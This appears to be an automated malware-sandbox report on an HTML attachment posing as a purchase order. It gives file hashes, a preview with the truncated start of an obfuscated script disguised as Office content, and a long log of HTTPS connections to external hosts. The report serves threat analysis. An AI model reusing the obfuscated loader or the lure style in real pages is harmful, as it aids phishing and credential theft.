Preview:	!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e\|\|self).axios=t()}(this,(function(){"use strict";function e(e){var r,n;function o(r,n){try{var a=e[r](n),u=a.value,s=u instanceof t;Promise.resolve(s?u.v:u).then((function(t){if(s){var n="return"===r?"return":"next";if(!u.k\|\|t.done)return o(n,t);t=e[n](t).value}i(a.done?"return":"normal",t)}),(function(e){o("throw",e)}))}catch(e){i("throw",e)}}function i(e,t){switch(e){case"return":r.resolve({value:t,done:!0});break;case"throw":r.reject(t);break;default:r.resolve({value:t,done:!1})}(r=r.next)?o(r.key,r.arg):n=null}this._invoke=function(e,t){return new Promise((function(i,a){var u={key:e,arg:t,resolve:i,reject:a,next:null};n?n=n.next=u:(r=n=u,o(e,t))}))},"function"!=typeof e.return&&(this.return=void 0)}function t(e,t){this.v=e,this.k=t}function r(e){var r={},n=!1;function o(r,o){return n=!0,o=new Promise((fu

Static File Info

General

File type:	HTML document, Unicode text, UTF-8 (with BOM) text, with very long lines (49626), with CRLF line terminators
Entropy (8bit):	6.129645557940581
TrID:	Text - UTF-8 encoded (3003/1) 100.00%
File name:	PO 635614 635613_CQDM.html
File size:	79'858 bytes
MD5:	9297a27b13125888d78c07e858935df8
SHA1:	d2f53c7c303953542237650c38bd2d4033236ddb
SHA256:	0819aeaa7263dfeff15b6db5060406aa500fa8f6ba7501ea1a6f8505b2ee3e13
SHA512:	ecaa8a244e7c71f50226a3bf82251913acb80f8bbaa2644c71ae8190f91d102fe5653a056b8623f1fb3d5cef20851f04a600f68fa0148c95f54d014a33d20b04
SSDEEP:	1536:YJ40pZnK56st6h6JmOtDR1Ef9ukDrTkCtDR1Ef9ukDE:Y6IAIhxuDR10UkD3k6DR10UkDE
TLSH:	7E73ADD1B2A5F0C79D869D9CDED43F2DA14B0109AFD80935FE44ABC04632E2EC25DEA1
File Content Preview:	... Obfuscated at 2024-10-24 00:47:20 on https://www.office.com ( Powered By Office ) --><script>;Function("'3y#1w8%hh6z{3ru9t%!~4~v6c65gl7l4^2]y^k}rk8o!7fkk4659&ulrxf~~v_!lsu{-@2#x5{,pz~e16jp}c.@mil1f,,l&*yfe{7rj8zz_+efcggn}_zr^qyt}unmj5,r++][.-[,g

File Icon


Icon Hash:	173149cccc490307

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 24, 2024 11:57:21.489132881 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:21.489156008 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:21.489228010 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:21.489550114 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:21.489558935 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:21.905076027 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 24, 2024 11:57:22.104300976 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.104737997 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.104758024 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.105896950 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.105993986 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.107542038 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.107618093 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.107741117 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.107748032 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.160506964 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.208451033 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 24, 2024 11:57:22.245019913 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.245076895 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.245112896 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.245142937 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.245237112 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.245237112 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.245305061 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.245767117 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.245796919 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.245820045 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.245821953 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.245848894 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.245868921 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.287450075 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.287488937 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.334449053 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.360765934 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.360888958 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.360914946 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.360954046 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.360968113 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.361016035 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.361596107 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.362097025 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.362121105 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.362150908 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.362150908 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.362194061 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.362219095 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.414428949 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.414464951 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.462456942 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.476727962 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.476785898 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.476845980 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.476876020 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.476937056 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.476963997 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.476985931 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.476993084 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.477003098 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.477050066 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.477602005 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.477632046 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.477657080 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.477674961 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.477724075 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.560154915 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.592886925 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.592928886 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.592957973 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.592978001 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.592984915 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.593012094 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.593031883 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.593056917 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.593235016 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.593286991 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.593328953 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.593333006 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.593343019 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.593389988 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.593403101 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.637485981 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.675786018 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.708256960 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.708343983 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.708385944 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.708436012 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.708792925 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.708801031 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.708852053 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.708867073 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.708914995 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.708955050 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.708964109 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.764448881 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.791491985 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.791507959 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.791577101 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.812525034 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 24, 2024 11:57:22.824183941 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.824201107 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.824292898 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.824337959 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.824346066 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.824436903 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.824450970 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.824456930 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.824513912 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.825589895 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.825599909 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.825644970 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.825679064 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.825700998 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.825740099 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.826009035 CEST	49702	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.826036930 CEST	443	49702	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.850366116 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.850420952 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.850495100 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.850934029 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:22.850954056 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:22.877938032 CEST	49705	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:22.878057957 CEST	443	49705	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:22.878149986 CEST	49705	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:22.878520966 CEST	49705	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:22.878563881 CEST	443	49705	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:23.458586931 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.458875895 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:23.458889961 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.459974051 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.460052013 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:23.460422993 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:23.460483074 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.460644960 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:23.460652113 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.489799976 CEST	443	49705	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:23.490153074 CEST	49705	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:23.490179062 CEST	443	49705	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:23.491261005 CEST	443	49705	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:23.491349936 CEST	49705	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:23.492542028 CEST	49705	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:23.492571115 CEST	49705	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:23.492646933 CEST	443	49705	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:23.492655993 CEST	49705	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:23.492701054 CEST	49705	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:23.493007898 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:23.493036032 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:23.493114948 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:23.493369102 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:23.493381023 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:23.509428978 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:23.599581957 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.599630117 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.599658966 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.599730968 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.599735975 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:23.599760056 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.599769115 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:23.599776030 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.599807978 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:23.599823952 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.604959011 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.604993105 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.605057955 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:23.605087042 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.605155945 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:23.717261076 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.717483044 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.717611074 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:23.717633009 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.717714071 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.717773914 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:23.717782021 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.717856884 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.717905998 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:23.717912912 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.718120098 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.718161106 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:23.718167067 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.718313932 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.718346119 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:23.718352079 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.763458014 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:23.834528923 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.834736109 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.834824085 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.834878922 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:23.834920883 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.834973097 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:23.834981918 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.835270882 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.835341930 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:23.835354090 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.835431099 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.835479021 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:23.835488081 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.835832119 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.835886955 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:23.835905075 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.886439085 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:23.951910973 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.951992035 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.952023983 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.952039957 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:23.952054024 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.952065945 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.952120066 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:23.952136993 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.952176094 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:23.952750921 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.952815056 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.952841997 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.952860117 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:23.952883005 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:23.952943087 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:24.013654947 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 24, 2024 11:57:24.069226027 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:24.069288969 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:24.069355011 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:24.069372892 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:24.069397926 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:24.069420099 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:24.069974899 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:24.070049047 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:24.070390940 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:24.070456028 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:24.111700058 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:24.112085104 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:24.112119913 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:24.113193989 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:24.113293886 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:24.114382029 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:24.114470005 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:24.114603996 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:24.114614964 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:24.155494928 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:24.186623096 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:24.186810017 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:24.187028885 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:24.187077999 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:24.187089920 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:24.187612057 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:24.187643051 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:24.187666893 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:24.187674999 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:24.187726021 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:24.188247919 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:24.188303947 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:24.188462019 CEST	49703	443	192.168.2.16	104.17.24.14
Oct 24, 2024 11:57:24.188476086 CEST	443	49703	104.17.24.14	192.168.2.16
Oct 24, 2024 11:57:24.720056057 CEST	49708	443	192.168.2.16	142.250.186.36
Oct 24, 2024 11:57:24.720113993 CEST	443	49708	142.250.186.36	192.168.2.16
Oct 24, 2024 11:57:24.720201015 CEST	49708	443	192.168.2.16	142.250.186.36
Oct 24, 2024 11:57:24.720444918 CEST	49708	443	192.168.2.16	142.250.186.36
Oct 24, 2024 11:57:24.720475912 CEST	443	49708	142.250.186.36	192.168.2.16
Oct 24, 2024 11:57:25.585194111 CEST	443	49708	142.250.186.36	192.168.2.16
Oct 24, 2024 11:57:25.588555098 CEST	49708	443	192.168.2.16	142.250.186.36
Oct 24, 2024 11:57:25.588586092 CEST	443	49708	142.250.186.36	192.168.2.16
Oct 24, 2024 11:57:25.589668036 CEST	443	49708	142.250.186.36	192.168.2.16
Oct 24, 2024 11:57:25.589749098 CEST	49708	443	192.168.2.16	142.250.186.36
Oct 24, 2024 11:57:25.590900898 CEST	49708	443	192.168.2.16	142.250.186.36
Oct 24, 2024 11:57:25.590962887 CEST	443	49708	142.250.186.36	192.168.2.16
Oct 24, 2024 11:57:25.643810034 CEST	49708	443	192.168.2.16	142.250.186.36
Oct 24, 2024 11:57:25.643831015 CEST	443	49708	142.250.186.36	192.168.2.16
Oct 24, 2024 11:57:25.691493034 CEST	49708	443	192.168.2.16	142.250.186.36
Oct 24, 2024 11:57:26.049706936 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.049762964 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.049808025 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.049843073 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.049843073 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.049882889 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.049906969 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.050323963 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.050359011 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.050376892 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.050393105 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.050441027 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.050453901 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.056890965 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.056958914 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.056992054 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.107450962 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.166378021 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.166547060 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.166604996 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.166635036 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.166718960 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.166748047 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.166763067 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.166775942 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.166814089 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.167371035 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.167859077 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.167885065 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.167906046 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.167920113 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.167979002 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.285166979 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.285237074 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.285268068 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.285303116 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.285324097 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.285382032 CEST	49706	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:26.285595894 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.285660028 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.285689116 CEST	443	49706	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:26.285705090 CEST	49706	443	192.168.2.16	104.21.68.211
